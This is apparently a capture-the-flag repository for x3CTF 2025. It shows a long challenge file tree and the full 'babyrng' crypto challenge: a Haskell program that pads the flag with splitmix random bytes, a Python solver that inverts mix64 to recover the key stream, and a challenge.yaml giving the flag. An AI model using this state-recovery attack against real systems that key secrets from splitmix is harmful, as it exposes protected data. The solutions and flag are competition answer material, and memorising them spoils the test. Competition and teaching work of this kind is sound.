├── README.md ├── crypto ├── babyrng │ ├── challenge-handout │ │ ├── Dockerfile │ │ ├── output.txt │ │ └── source.hs │ ├── challenge-solution │ │ ├── solution.md │ │ └── solve.py │ ├── challenge-src │ └── challenge.yaml ├── curved-mvm │ ├── challenge-handout │ ├── challenge-solution │ │ ├── server.py │ │ └── solve.sage │ ├── challenge-src │ │ ├── Dockerfile │ │ ├── fast.py │ │ └── server.py │ └── challenge.yaml ├── fastcrypto │ ├── challenge-handout │ │ ├── CMakeLists.txt │ │ ├── Makefile │ │ ├── chall.py │ │ └── nttmul.cpp │ ├── challenge-solution │ │ ├── soln.md │ │ └── solve.py │ ├── challenge-src │ │ ├── CMakeLists.txt │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── SECRET.py │ │ ├── chall.py │ │ └── nttmul.cpp │ └── challenge.yaml ├── man_vs_matrix │ ├── challenge-handout │ ├── challenge-solution │ │ └── solution.sage │ ├── challenge-src │ │ └── challenge.py │ └── challenge.yaml ├── much-vulnerable-machine-1 │ ├── challenge-handout │ │ ├── .gitignore │ │ ├── api │ │ │ ├── Dockerfile │ │ │ ├── mvmcryption │ │ │ │ ├── __init__.py │ │ │ │ ├── app.py │ │ │ │ ├── auth.py │ │ │ │ ├── crypto │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── cipher.py │ │ │ │ │ ├── ecdsa.py │ │ │ │ │ └── jwt.py │ │ │ │ ├── db │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── db.py │ │ │ │ │ └── users.py │ │ │ │ ├── environ.py │ │ │ │ ├── resp.py │ │ │ │ ├── routers │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── auth.py │ │ │ │ │ ├── crypto.py │ │ │ │ │ └── users.py │ │ │ │ └── utils.py │ │ │ ├── poetry.lock │ │ │ ├── pyproject.toml │ │ │ └── tests │ │ │ │ ├── __init__.py │ │ │ │ ├── test_cipher.py │ │ │ │ └── test_ecdsa.py │ │ └── compose.yaml │ ├── challenge-solution │ │ ├── solve.py │ │ └── solve.sh │ ├── challenge-src │ │ ├── .gitignore │ │ ├── api │ │ │ ├── Dockerfile │ │ │ ├── README.md │ │ │ ├── mvmcryption │ │ │ │ ├── __init__.py │ │ │ │ ├── app.py │ │ │ │ ├── auth.py │ │ │ │ ├── crypto │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── cipher.py │ │ │ │ │ ├── ecdsa.py │ │ │ │ │ └── jwt.py │ │ │ │ ├── db │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── db.py │ │ │ │ │ └── users.py │ │ │ │ ├── environ.py │ │ │ │ ├── resp.py │ │ │ │ ├── routers │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── auth.py │ │ │ │ │ ├── crypto.py │ │ │ │ │ └── users.py │ │ │ │ └── utils.py │ │ │ ├── poetry.lock │ │ │ ├── pyproject.toml │ │ │ └── tests │ │ │ │ ├── __init__.py │ │ │ │ ├── test_cipher.py │ │ │ │ └── test_ecdsa.py │ │ └── compose.yaml │ └── challenge.yaml ├── much-vulnerable-machine-2 │ ├── challenge-handout │ │ ├── .gitignore │ │ ├── api │ │ │ ├── Dockerfile │ │ │ ├── mvmcryption │ │ │ │ ├── __init__.py │ │ │ │ ├── app.py │ │ │ │ ├── auth.py │ │ │ │ ├── crypto │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── cipher.py │ │ │ │ │ ├── ecdsa.py │ │ │ │ │ ├── jwt.py │ │ │ │ │ └── rsa.py │ │ │ │ ├── db │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── db.py │ │ │ │ │ └── users.py │ │ │ │ ├── environ.py │ │ │ │ ├── resp.py │ │ │ │ ├── routers │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── auth.py │ │ │ │ │ ├── crypto.py │ │ │ │ │ └── users.py │ │ │ │ └── utils.py │ │ │ ├── poetry.lock │ │ │ ├── pyproject.toml │ │ │ └── tests │ │ │ │ ├── __init__.py │ │ │ │ ├── test_cipher.py │ │ │ │ └── test_ecdsa.py │ │ └── compose.yaml │ ├── challenge-solution │ │ ├── solve.py │ │ └── solve.sh │ ├── challenge-src │ │ ├── .gitignore │ │ ├── api │ │ │ ├── Dockerfile │ │ │ ├── README.md │ │ │ ├── mvmcryption │ │ │ │ ├── __init__.py │ │ │ │ ├── app.py │ │ │ │ ├── auth.py │ │ │ │ ├── crypto │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── cipher.py │ │ │ │ │ ├── ecdsa.py │ │ │ │ │ ├── jwt.py │ │ │ │ │ └── rsa.py │ │ │ │ ├── db │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── db.py │ │ │ │ │ └── users.py │ │ │ │ ├── environ.py │ │ │ │ ├── resp.py │ │ │ │ ├── routers │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── auth.py │ │ │ │ │ ├── crypto.py │ │ │ │ │ └── users.py │ │ │ │ └── utils.py │ │ │ ├── poetry.lock │ │ │ ├── pyproject.toml │ │ │ └── tests │ │ │ │ ├── __init__.py │ │ │ │ ├── test_cipher.py │ │ │ │ └── test_ecdsa.py │ │ └── compose.yaml │ └── challenge.yaml ├── much-vulnerable-machine-3 │ ├── challenge-handout │ │ ├── .gitignore │ │ ├── api │ │ │ ├── Dockerfile │ │ │ ├── mvmcryption │ │ │ │ ├── __init__.py │ │ │ │ ├── app.py │ │ │ │ ├── auth.py │ │ │ │ ├── crypto │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── cipher.py │ │ │ │ │ ├── ecdsa.py │ │ │ │ │ ├── jwt.py │ │ │ │ │ └── rsa.py │ │ │ │ ├── db │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── db.py │ │ │ │ │ └── users.py │ │ │ │ ├── environ.py │ │ │ │ ├── resp.py │ │ │ │ ├── routers │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── auth.py │ │ │ │ │ ├── crypto.py │ │ │ │ │ └── users.py │ │ │ │ └── utils.py │ │ │ ├── poetry.lock │ │ │ ├── pyproject.toml │ │ │ └── tests │ │ │ │ ├── __init__.py │ │ │ │ ├── test_cipher.py │ │ │ │ └── test_ecdsa.py │ │ └── compose.yaml │ ├── challenge-solution │ │ ├── solve.py │ │ └── solve.sh │ ├── challenge-src │ │ ├── .gitignore │ │ ├── api │ │ │ ├── Dockerfile │ │ │ ├── README.md │ │ │ ├── mvmcryption │ │ │ │ ├── __init__.py │ │ │ │ ├── app.py │ │ │ │ ├── auth.py │ │ │ │ ├── crypto │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── cipher.py │ │ │ │ │ ├── ecdsa.py │ │ │ │ │ ├── jwt.py │ │ │ │ │ └── rsa.py │ │ │ │ ├── db │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── db.py │ │ │ │ │ └── users.py │ │ │ │ ├── environ.py │ │ │ │ ├── resp.py │ │ │ │ ├── routers │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── auth.py │ │ │ │ │ ├── crypto.py │ │ │ │ │ └── users.py │ │ │ │ └── utils.py │ │ │ ├── poetry.lock │ │ │ ├── pyproject.toml │ │ │ └── tests │ │ │ │ ├── __init__.py │ │ │ │ ├── test_cipher.py │ │ │ │ └── test_ecdsa.py │ │ └── compose.yaml │ └── challenge.yaml ├── rubiks-dsa │ ├── challenge-handout │ │ ├── chall.sage │ │ ├── out.txt │ │ └── permutation.txt │ ├── challenge-solution │ │ └── sol.sage │ ├── challenge-src │ └── challenge.yaml └── sourceless-crypto │ ├── challenge-solution │ ├── solution.md │ └── solve.py │ ├── challenge-src │ ├── Dockerfile │ └── chall.py │ └── challenge.yaml ├── misc ├── count-the-mvms │ ├── challenge-solution │ │ ├── mvm_pattern.png │ │ ├── solution.md │ │ └── solve_script.py │ └── challenge.yaml ├── foundations │ └── challenge.yaml ├── hydraulic-press │ ├── challenge-handout │ │ └── flag.txt │ ├── challenge-solution │ │ ├── go.mod │ │ └── main.go │ ├── challenge-src │ │ ├── go.mod │ │ └── main.go │ └── challenge.yaml ├── mvm │ ├── challenge-handout │ │ └── mvm.txt │ ├── challenge-solution │ │ └── solution.md │ └── challenge.yaml ├── omnibius │ ├── challenge-handout │ │ ├── 519814-omnibious-pocket-computer-rev1-0.pdf │ │ └── dump.rom │ ├── challenge-solution │ │ ├── dump.rom │ │ └── solve_script.py │ └── challenge.yaml ├── p11n-trophy │ ├── challenge-src │ │ ├── Dockerfile │ │ ├── MonsieurLaDoulaise-Regular.ttf │ │ ├── app.py │ │ ├── mvm_pattern.png │ │ ├── requirements.txt │ │ ├── vvv_pattern.png │ │ ├── wvw_pattern.png │ │ └── x3_transparent.png │ └── challenge.yaml ├── redacted │ ├── challenge-handout │ │ ├── how_to_check.png │ │ ├── readme.txt │ │ └── redacted.zip │ ├── challenge-solution │ │ ├── c1b53be672aac192a996.woff2 │ │ ├── corrected.png │ │ ├── solution.md │ │ └── solve.html │ └── challenge.yaml ├── secure-snek │ ├── challenge-handout │ │ ├── auth.py │ │ ├── main.py │ │ └── output.txt │ ├── challenge-solution │ │ └── description and solution.txt │ ├── challenge-src │ │ ├── __pycache__ │ │ │ └── auth.cpython-312.pyc │ │ ├── auth.py │ │ ├── auth_orig.py │ │ └── main.py │ └── challenge.yaml ├── trophy-plus │ └── challenge.yaml └── trophy-plus64 │ └── challenge.yaml ├── pwn ├── devnull-as-a-service │ ├── challenge-handout │ │ ├── Dockerfile │ │ ├── dev_null │ │ ├── docker-compose.yml │ │ ├── flag.txt │ │ └── ynetd │ ├── challenge-solution │ │ └── solution.py │ ├── challenge-src │ │ ├── Dockerfile │ │ ├── dev_null │ │ ├── docker-compose.yml │ │ ├── flag.txt │ │ └── ynetd │ └── challenge.yaml ├── pwny-heap │ ├── challenge-handout │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── libc-2.35.so │ │ └── pwny-heap │ ├── challenge-solution │ │ ├── Dockerfile │ │ ├── exploit.py │ │ ├── flag.txt │ │ ├── libc-2.35.so │ │ └── pwny-heap │ ├── challenge-src │ │ ├── Dockerfile │ │ ├── flag.txt │ │ └── pwny-heap │ └── challenge.yaml └── secure-sandbox │ ├── challenge-handout │ ├── Dockerfile │ ├── chall │ └── flag │ ├── challenge-solution │ ├── Dockerfile │ ├── Makefile │ ├── chall │ ├── flag │ ├── flagGenerator.py │ ├── main.c │ └── solve.py │ ├── challenge-src │ ├── Dockerfile │ ├── chall │ └── flag │ └── challenge.yaml ├── rev ├── keystore-rs │ ├── challenge-handout │ │ └── keystore-rs │ ├── challenge-solution │ │ └── SOLUTION.md │ ├── challenge-src │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ └── src │ │ │ └── main.rs │ └── challenge.yaml ├── netmsg-1 │ ├── challenge-handout │ │ ├── netmsg_darwin_amd64 │ │ ├── netmsg_darwin_arm64 │ │ ├── netmsg_linux_386 │ │ ├── netmsg_linux_amd64 │ │ ├── netmsg_linux_arm64 │ │ ├── netmsg_windows_386 │ │ ├── netmsg_windows_amd64 │ │ └── netmsg_windows_arm64 │ ├── challenge-solution │ │ ├── README.txt │ │ ├── flag1.py │ │ └── requirements.txt │ ├── challenge-src │ │ ├── Dockerfile │ │ ├── build.sh │ │ ├── client │ │ │ ├── go.mod │ │ │ ├── main.go │ │ │ └── math.go │ │ ├── common │ │ │ ├── common.go │ │ │ ├── go.mod │ │ │ └── go.sum │ │ ├── go.work │ │ └── server │ │ │ ├── go.mod │ │ │ ├── main.go │ │ │ └── secrets.go │ └── challenge.yaml ├── netmsg-2 │ ├── challenge-handout │ │ └── netmsg-2.pcap │ ├── challenge-solution │ │ ├── README.txt │ │ ├── flag1.py │ │ ├── flag2.py │ │ └── requirements.txt │ ├── challenge-src │ │ ├── build.sh │ │ ├── client │ │ ├── common │ │ ├── go.work │ │ └── server │ └── challenge.yaml ├── notcrypto │ ├── challenge-handout │ │ └── spn │ ├── challenge-solution │ │ ├── todo.py │ │ └── writeup.md │ ├── challenge-src │ │ ├── Makefile │ │ ├── flag.txt │ │ ├── spn │ │ └── spn.cpp │ └── challenge.yaml ├── oh_my_gadt │ ├── challenge-handout │ │ ├── .stack-work │ │ │ ├── install │ │ │ │ └── x86_64-linux │ │ │ │ │ └── 359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c │ │ │ │ │ └── 9.8.4 │ │ │ │ │ └── pkgdb │ │ │ │ │ ├── package.cache │ │ │ │ │ └── package.cache.lock │ │ │ ├── stack.sqlite3 │ │ │ └── stack.sqlite3.pantry-write-lock │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ └── hs_src │ │ │ ├── .stack-work │ │ │ ├── install │ │ │ │ └── x86_64-linux │ │ │ │ │ └── 359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c │ │ │ │ │ └── 9.8.4 │ │ │ │ │ └── pkgdb │ │ │ │ │ ├── package.cache │ │ │ │ │ └── package.cache.lock │ │ │ ├── stack.sqlite3 │ │ │ └── stack.sqlite3.pantry-write-lock │ │ │ ├── Setup.hs │ │ │ ├── ohmygadt.cabal │ │ │ ├── src │ │ │ └── Main.hs │ │ │ ├── stack.yaml │ │ │ └── stack.yaml.lock │ ├── challenge-solution │ │ └── solve.py │ ├── challenge-src │ └── challenge.yaml └── pickle-season │ ├── challenge-handout │ ├── challenge-solution │ └── solution.md │ ├── challenge-src │ └── challenge.py │ └── challenge.yaml └── web ├── MVMCheckers-Inc ├── challenge-handout │ ├── .idea │ │ ├── .gitignore │ │ ├── inspectionProfiles │ │ │ └── Project_Default.xml │ │ ├── mimes-inc.iml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── php.xml │ │ └── vcs.xml │ ├── Dockerfile │ ├── docker-compose.yml │ ├── flag.txt │ ├── magicians-agency.iml │ └── src │ │ ├── administration.php │ │ ├── booking.php │ │ ├── header.php │ │ ├── index.php │ │ ├── magicians.php │ │ ├── magicians │ │ ├── Die kleine Hexe.magic │ │ ├── Gandalf.magic │ │ ├── Houdini.magic │ │ ├── Kiki.magic │ │ └── Siegfried and Roy.magic │ │ ├── rebuild │ │ ├── about.json │ │ ├── booking.json │ │ ├── footnote.txt │ │ └── index.php │ │ └── style.css ├── challenge-solution │ ├── exfil.json │ ├── magic.txt │ ├── magic.xbm │ └── solution.md ├── challenge-src │ ├── .idea │ │ ├── .gitignore │ │ ├── inspectionProfiles │ │ │ └── Project_Default.xml │ │ ├── mimes-inc.iml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── php.xml │ │ └── vcs.xml │ ├── Dockerfile │ ├── docker-compose.yml │ ├── flag.txt │ ├── magicians-agency.iml │ └── src │ │ ├── administration.php │ │ ├── booking.php │ │ ├── header.php │ │ ├── index.php │ │ ├── magicians.php │ │ ├── magicians │ │ ├── Die kleine Hexe.magic │ │ ├── Gandalf.magic │ │ ├── Houdini.magic │ │ ├── Kiki.magic │ │ └── Siegfried and Roy.magic │ │ ├── rebuild │ │ ├── about.json │ │ ├── booking.json │ │ ├── footnote.txt │ │ └── index.php │ │ └── style.css └── challenge.yaml ├── StoryCreator ├── challenge-handout │ └── handout │ │ ├── Dockerfile │ │ ├── backend │ │ ├── .gitignore │ │ ├── cmd │ │ │ └── server │ │ │ │ └── server.go │ │ ├── go.mod │ │ ├── go.sum │ │ ├── gqlgen.yml │ │ ├── internal │ │ │ └── exporter │ │ │ │ └── exporter.go │ │ ├── justfile │ │ ├── pkg │ │ │ ├── apq │ │ │ │ └── cache.go │ │ │ ├── db │ │ │ │ └── db.go │ │ │ ├── flagcookie │ │ │ │ └── flagcookie.go │ │ │ ├── graph │ │ │ │ ├── generated.go │ │ │ │ ├── gqlgen-directives.graphql │ │ │ │ ├── model │ │ │ │ │ └── models_gen.go │ │ │ │ ├── resolver.go │ │ │ │ ├── schema.graphql │ │ │ │ └── schema.resolvers.go │ │ │ ├── model │ │ │ │ ├── dimensions.go │ │ │ │ └── id.go │ │ │ ├── render │ │ │ │ └── render.go │ │ │ ├── repository │ │ │ │ ├── exports │ │ │ │ │ └── exports.go │ │ │ │ ├── images │ │ │ │ │ └── images.go │ │ │ │ └── stories │ │ │ │ │ └── stories.go │ │ │ ├── smallhmap │ │ │ │ └── smallhmap.go │ │ │ └── tenant │ │ │ │ └── tenant.go │ │ └── tools.go │ │ ├── compose.yml │ │ ├── frontend │ │ ├── .env │ │ ├── .eslintrc.cjs │ │ ├── .gitattributes │ │ ├── .gitignore │ │ ├── .prettierrc │ │ ├── .yarn │ │ │ └── releases │ │ │ │ └── yarn-4.3.1.cjs │ │ ├── .yarnrc.yml │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── index.html │ │ ├── nginx.conf │ │ ├── package.json │ │ ├── public │ │ │ └── vite.svg │ │ ├── src │ │ │ ├── App.tsx │ │ │ ├── assets │ │ │ │ └── react.svg │ │ │ ├── components │ │ │ │ ├── FullPageLoading.tsx │ │ │ │ └── story.tsx │ │ │ ├── main.css │ │ │ ├── main.tsx │ │ │ ├── pages │ │ │ │ ├── CreateStoryPage │ │ │ │ │ └── CreateStoryPage.tsx │ │ │ │ ├── ExportDetailsPage │ │ │ │ │ └── ExportDetailsPage.tsx │ │ │ │ ├── ExportListPage │ │ │ │ │ └── ExportListPage.tsx │ │ │ │ ├── ExportStoryPage │ │ │ │ │ └── ExportStoryPage.tsx │ │ │ │ ├── ListStoriesPage │ │ │ │ │ └── ListStoriesPage.tsx │ │ │ │ ├── Render │ │ │ │ │ └── Render.tsx │ │ │ │ ├── UploadAssetPage │ │ │ │ │ └── UploadAssetPage.tsx │ │ │ │ └── ViewStoryPage │ │ │ │ │ └── ViewStoryPage.tsx │ │ │ └── vite-env.d.ts │ │ ├── tsconfig.app.json │ │ ├── tsconfig.json │ │ ├── tsconfig.node.json │ │ ├── vite.config.ts │ │ └── yarn.lock │ │ └── seed │ │ └── seed.sql ├── challenge-solution │ ├── checker │ │ ├── ._image.png │ │ ├── ._imageold.png │ │ ├── __main__.py │ │ ├── image.png │ │ └── imageold.png │ └── writeup.md ├── challenge-src │ ├── ._cwte-jeopardy-chall │ ├── Dockerfile │ ├── Dockerfile-db │ ├── backend │ │ ├── .gitignore │ │ ├── cmd │ │ │ └── server │ │ │ │ └── server.go │ │ ├── go.mod │ │ ├── go.sum │ │ ├── gqlgen.yml │ │ ├── internal │ │ │ └── exporter │ │ │ │ └── exporter.go │ │ ├── justfile │ │ ├── pkg │ │ │ ├── apq │ │ │ │ └── cache.go │ │ │ ├── db │ │ │ │ └── db.go │ │ │ ├── flagcookie │ │ │ │ └── flagcookie.go │ │ │ ├── graph │ │ │ │ ├── generated.go │ │ │ │ ├── gqlgen-directives.graphql │ │ │ │ ├── model │ │ │ │ │ └── models_gen.go │ │ │ │ ├── resolver.go │ │ │ │ ├── schema.graphql │ │ │ │ └── schema.resolvers.go │ │ │ ├── model │ │ │ │ ├── dimensions.go │ │ │ │ └── id.go │ │ │ ├── render │ │ │ │ └── render.go │ │ │ ├── repository │ │ │ │ ├── exports │ │ │ │ │ └── exports.go │ │ │ │ ├── images │ │ │ │ │ └── images.go │ │ │ │ └── stories │ │ │ │ │ └── stories.go │ │ │ ├── smallhmap │ │ │ │ ├── smallhmap.go │ │ │ │ └── smallhmap_test.go │ │ │ └── tenant │ │ │ │ └── tenant.go │ │ └── tools.go │ ├── compose.yml │ ├── frontend │ │ ├── .env │ │ ├── .eslintrc.cjs │ │ ├── .gitattributes │ │ ├── .gitignore │ │ ├── .prettierrc │ │ ├── .yarn │ │ │ └── releases │ │ │ │ └── yarn-4.3.1.cjs │ │ ├── .yarnrc.yml │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── index.html │ │ ├── nginx.conf │ │ ├── package.json │ │ ├── public │ │ │ └── vite.svg │ │ ├── src │ │ │ ├── App.tsx │ │ │ ├── assets │ │ │ │ └── react.svg │ │ │ ├── components │ │ │ │ ├── FullPageLoading.tsx │ │ │ │ └── story.tsx │ │ │ ├── main.css │ │ │ ├── main.tsx │ │ │ ├── pages │ │ │ │ ├── CreateStoryPage │ │ │ │ │ └── CreateStoryPage.tsx │ │ │ │ ├── ExportDetailsPage │ │ │ │ │ └── ExportDetailsPage.tsx │ │ │ │ ├── ExportListPage │ │ │ │ │ └── ExportListPage.tsx │ │ │ │ ├── ExportStoryPage │ │ │ │ │ └── ExportStoryPage.tsx │ │ │ │ ├── ListStoriesPage │ │ │ │ │ └── ListStoriesPage.tsx │ │ │ │ ├── Render │ │ │ │ │ └── Render.tsx │ │ │ │ ├── UploadAssetPage │ │ │ │ │ └── UploadAssetPage.tsx │ │ │ │ └── ViewStoryPage │ │ │ │ │ └── ViewStoryPage.tsx │ │ │ └── vite-env.d.ts │ │ ├── tsconfig.app.json │ │ ├── tsconfig.json │ │ ├── tsconfig.node.json │ │ ├── vite.config.ts │ │ └── yarn.lock │ ├── handout │ │ ├── Dockerfile │ │ ├── backend │ │ │ ├── .gitignore │ │ │ ├── cmd │ │ │ │ └── server │ │ │ │ │ └── server.go │ │ │ ├── go.mod │ │ │ ├── go.sum │ │ │ ├── gqlgen.yml │ │ │ ├── internal │ │ │ │ └── exporter │ │ │ │ │ └── exporter.go │ │ │ ├── justfile │ │ │ ├── pkg │ │ │ │ ├── apq │ │ │ │ │ └── cache.go │ │ │ │ ├── db │ │ │ │ │ └── db.go │ │ │ │ ├── flagcookie │ │ │ │ │ └── flagcookie.go │ │ │ │ ├── graph │ │ │ │ │ ├── generated.go │ │ │ │ │ ├── gqlgen-directives.graphql │ │ │ │ │ ├── model │ │ │ │ │ │ └── models_gen.go │ │ │ │ │ ├── resolver.go │ │ │ │ │ ├── schema.graphql │ │ │ │ │ └── schema.resolvers.go │ │ │ │ ├── model │ │ │ │ │ ├── dimensions.go │ │ │ │ │ └── id.go │ │ │ │ ├── render │ │ │ │ │ └── render.go │ │ │ │ ├── repository │ │ │ │ │ ├── exports │ │ │ │ │ │ └── exports.go │ │ │ │ │ ├── images │ │ │ │ │ │ └── images.go │ │ │ │ │ └── stories │ │ │ │ │ │ └── stories.go │ │ │ │ ├── smallhmap │ │ │ │ │ └── smallhmap.go │ │ │ │ └── tenant │ │ │ │ │ └── tenant.go │ │ │ └── tools.go │ │ ├── compose.yml │ │ ├── frontend │ │ │ ├── .env │ │ │ ├── .eslintrc.cjs │ │ │ ├── .gitattributes │ │ │ ├── .gitignore │ │ │ ├── .prettierrc │ │ │ ├── .yarn │ │ │ │ └── releases │ │ │ │ │ └── yarn-4.3.1.cjs │ │ │ ├── .yarnrc.yml │ │ │ ├── Dockerfile │ │ │ ├── README.md │ │ │ ├── index.html │ │ │ ├── nginx.conf │ │ │ ├── package.json │ │ │ ├── public │ │ │ │ └── vite.svg │ │ │ ├── src │ │ │ │ ├── App.tsx │ │ │ │ ├── assets │ │ │ │ │ └── react.svg │ │ │ │ ├── components │ │ │ │ │ ├── FullPageLoading.tsx │ │ │ │ │ └── story.tsx │ │ │ │ ├── main.css │ │ │ │ ├── main.tsx │ │ │ │ ├── pages │ │ │ │ │ ├── CreateStoryPage │ │ │ │ │ │ └── CreateStoryPage.tsx │ │ │ │ │ ├── ExportDetailsPage │ │ │ │ │ │ └── ExportDetailsPage.tsx │ │ │ │ │ ├── ExportListPage │ │ │ │ │ │ └── ExportListPage.tsx │ │ │ │ │ ├── ExportStoryPage │ │ │ │ │ │ └── ExportStoryPage.tsx │ │ │ │ │ ├── ListStoriesPage │ │ │ │ │ │ └── ListStoriesPage.tsx │ │ │ │ │ ├── Render │ │ │ │ │ │ └── Render.tsx │ │ │ │ │ ├── UploadAssetPage │ │ │ │ │ │ └── UploadAssetPage.tsx │ │ │ │ │ └── ViewStoryPage │ │ │ │ │ │ └── ViewStoryPage.tsx │ │ │ │ └── vite-env.d.ts │ │ │ ├── tsconfig.app.json │ │ │ ├── tsconfig.json │ │ │ ├── tsconfig.node.json │ │ │ ├── vite.config.ts │ │ │ └── yarn.lock │ │ └── seed │ │ │ └── seed.sql │ ├── justfile │ ├── seed │ │ └── seed.sql │ └── src │ │ └── .tool-versions └── challenge.yaml ├── blogdog ├── challenge-handout │ ├── Dockerfile │ └── src │ │ ├── favicon.ico │ │ ├── index.html │ │ ├── index.js │ │ ├── package-lock.json │ │ ├── package.json │ │ └── purify.min.js ├── challenge-solution │ ├── solution.md │ └── solver.py ├── challenge-src │ ├── Dockerfile │ └── src │ │ ├── favicon.ico │ │ ├── index.html │ │ ├── index.js │ │ ├── package-lock.json │ │ ├── package.json │ │ └── purify.min.js └── challenge.yaml ├── kittyconvert ├── challenge-handout │ ├── Dockerfile │ ├── README.md │ ├── docker-compose.yml │ ├── flag.txt │ └── src │ │ ├── class-php-ico.php │ │ ├── favicon.ico │ │ ├── index.php │ │ └── uploads │ │ └── .gitfolder ├── challenge-solution │ ├── solution.md │ └── solve.py ├── challenge-src │ ├── Dockerfile │ ├── docker-compose.yml │ ├── flag.txt │ └── src │ │ ├── class-php-ico.php │ │ ├── favicon.ico │ │ ├── index.php │ │ └── uploads │ │ └── .gitfolder └── challenge.yaml └── submission ├── challenge-handout ├── Dockerfile ├── README.md ├── docker-compose.yml └── src │ ├── favicon.ico │ ├── index.php │ └── uploads │ └── flag.txt ├── challenge-solution └── solution.md ├── challenge-src ├── Dockerfile └── src │ ├── favicon.ico │ ├── index.php │ └── uploads │ └── flag.txt └── challenge.yaml /README.md: -------------------------------------------------------------------------------- 1 | # x3CTF 2025 - Challenges 2 | This repository contains all the challenges, sources and solutions for **x3CTF 2025 (feat. mvm)** 3 | -------------------------------------------------------------------------------- /crypto/babyrng/challenge-handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM haskell:8.10 2 | 3 | RUN cabal update && cabal install --lib mtl && cabal install --lib random 4 | 5 | WORKDIR /build 6 | COPY source.hs . 7 | RUN ghc source.hs 8 | 9 | ENTRYPOINT ["/build/source"] -------------------------------------------------------------------------------- /crypto/babyrng/challenge-handout/output.txt: -------------------------------------------------------------------------------- 1 | The shredded flag (070dbb36be2b25fadda85ba68d791dd8ec4626d81ebd338cb13a4f318d98d7102bddd0fd2f22946138e4401fe006e4eb318cabfb034adfac4163e595f2442c7b) has been buried at (7283898632471611723, 9620209372472646369) -------------------------------------------------------------------------------- /crypto/babyrng/challenge-handout/source.hs: -------------------------------------------------------------------------------- 1 | {-# LANGUAGE ScopedTypeVariables #-} 2 | import Control.Monad.State.Lazy (evalState, State, state) 3 | import Data.Bits (xor) 4 | import Data.Char (chr, ord) 5 | import Data.Word (Word64) 6 | import System.Random (getStdGen, StdGen, uniform, uniformR) 7 | import Text.Printf (printf) 8 | 9 | flag = "MVM{[REDACTED]}" 10 | 11 | shred :: String -> State StdGen String 12 | shred "" = return "" 13 | shred (c:cs) = do 14 | k <- state $ uniformR (0, 255) 15 | ((:) (chr $ (ord c) `xor` k)) <$> (shred cs) 16 | 17 | burryTreasure :: State StdGen String 18 | burryTreasure = do 19 | shredded <- shred flag 20 | x :: Word64 <- state uniform 21 | y :: Word64 <- state uniform 22 | return $ printf "The shredded flag (%s) has been buried at (%d, %d)" (shredded >>= (printf "%02x" :: Char -> String)) x y 23 | 24 | main :: IO () 25 | main = do 26 | rng <- getStdGen 27 | putStrLn $ evalState burryTreasure rng -------------------------------------------------------------------------------- /crypto/babyrng/challenge-solution/solution.md: -------------------------------------------------------------------------------- 1 | Read the source of Haskell random library (particularly https://hackage.haskell.org/package/splitmix-0.1.1/docs/src/System.Random.SplitMix.html), implement the inverse of `mix64` and use the fact that `state_{i + 1} = state_i + gamma` for some constant gamma to recover the one time pad key knowing full 2 words generated right after the flag is encrypted. -------------------------------------------------------------------------------- /crypto/babyrng/challenge-solution/solve.py: -------------------------------------------------------------------------------- 1 | m = 1 << 64 2 | 3 | 4 | def shiftxor(n, w): 5 | return w ^ (w >> n) 6 | 7 | 8 | def shiftxormult(n, k, w): 9 | return (shiftxor(n, w) * k) % m 10 | 11 | 12 | def mix64(z0): 13 | z1 = shiftxormult(33, 0xff51afd7ed558ccd, z0) 14 | z2 = shiftxormult(33, 0xc4ceb9fe1a85ec53, z1) 15 | return shiftxor(33, z2) 16 | 17 | 18 | def unmix64(z3): 19 | z2 = shiftxor(33, z3) 20 | z1 = shiftxor(33, (pow(0xc4ceb9fe1a85ec53, -1, m) * z2) % m) 21 | return shiftxor(33, (pow(0xff51afd7ed558ccd, -1, m) * z1) % m) 22 | 23 | 24 | def get_gamma(a, b): 25 | a = unmix64(a) 26 | b = unmix64(b) 27 | return (b - a) % m 28 | 29 | 30 | ct = bytes.fromhex('070dbb36be2b25fadda85ba68d791dd8ec4626d81ebd338cb13a4f318d98d7102bddd0fd2f22946138e4401fe006e4eb318cabfb034adfac4163e595f2442c7b') 31 | x = 7283898632471611723 32 | y = 9620209372472646369 33 | gamma = get_gamma(x, y) 34 | 35 | ks = [mix64((unmix64(x) - (i + 1) * gamma) % m) % 256 for i in range(len(ct))][::-1] 36 | flag = bytes([a ^ b for a, b in zip(ct, ks)]) 37 | print(flag.decode()) -------------------------------------------------------------------------------- /crypto/babyrng/challenge-src: -------------------------------------------------------------------------------- 1 | challenge-handout -------------------------------------------------------------------------------- /crypto/babyrng/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: babyrng 5 | namespace: berg 6 | spec: 7 | categories: 8 | - mvm 9 | - crypto 10 | 11 | difficulty: easy # Must be one of baby/easy/medium/hard/leet 12 | author: ksaweryr 13 | allowOutboundTraffic: false 14 | flag: MVM{4_M0n4D_15_jU5t_4_m0N01d_1n_Th3_c4t3G0Ry_0f_3ND0FUNCT0R5_:D} 15 | flagFormat: MVM{...} 16 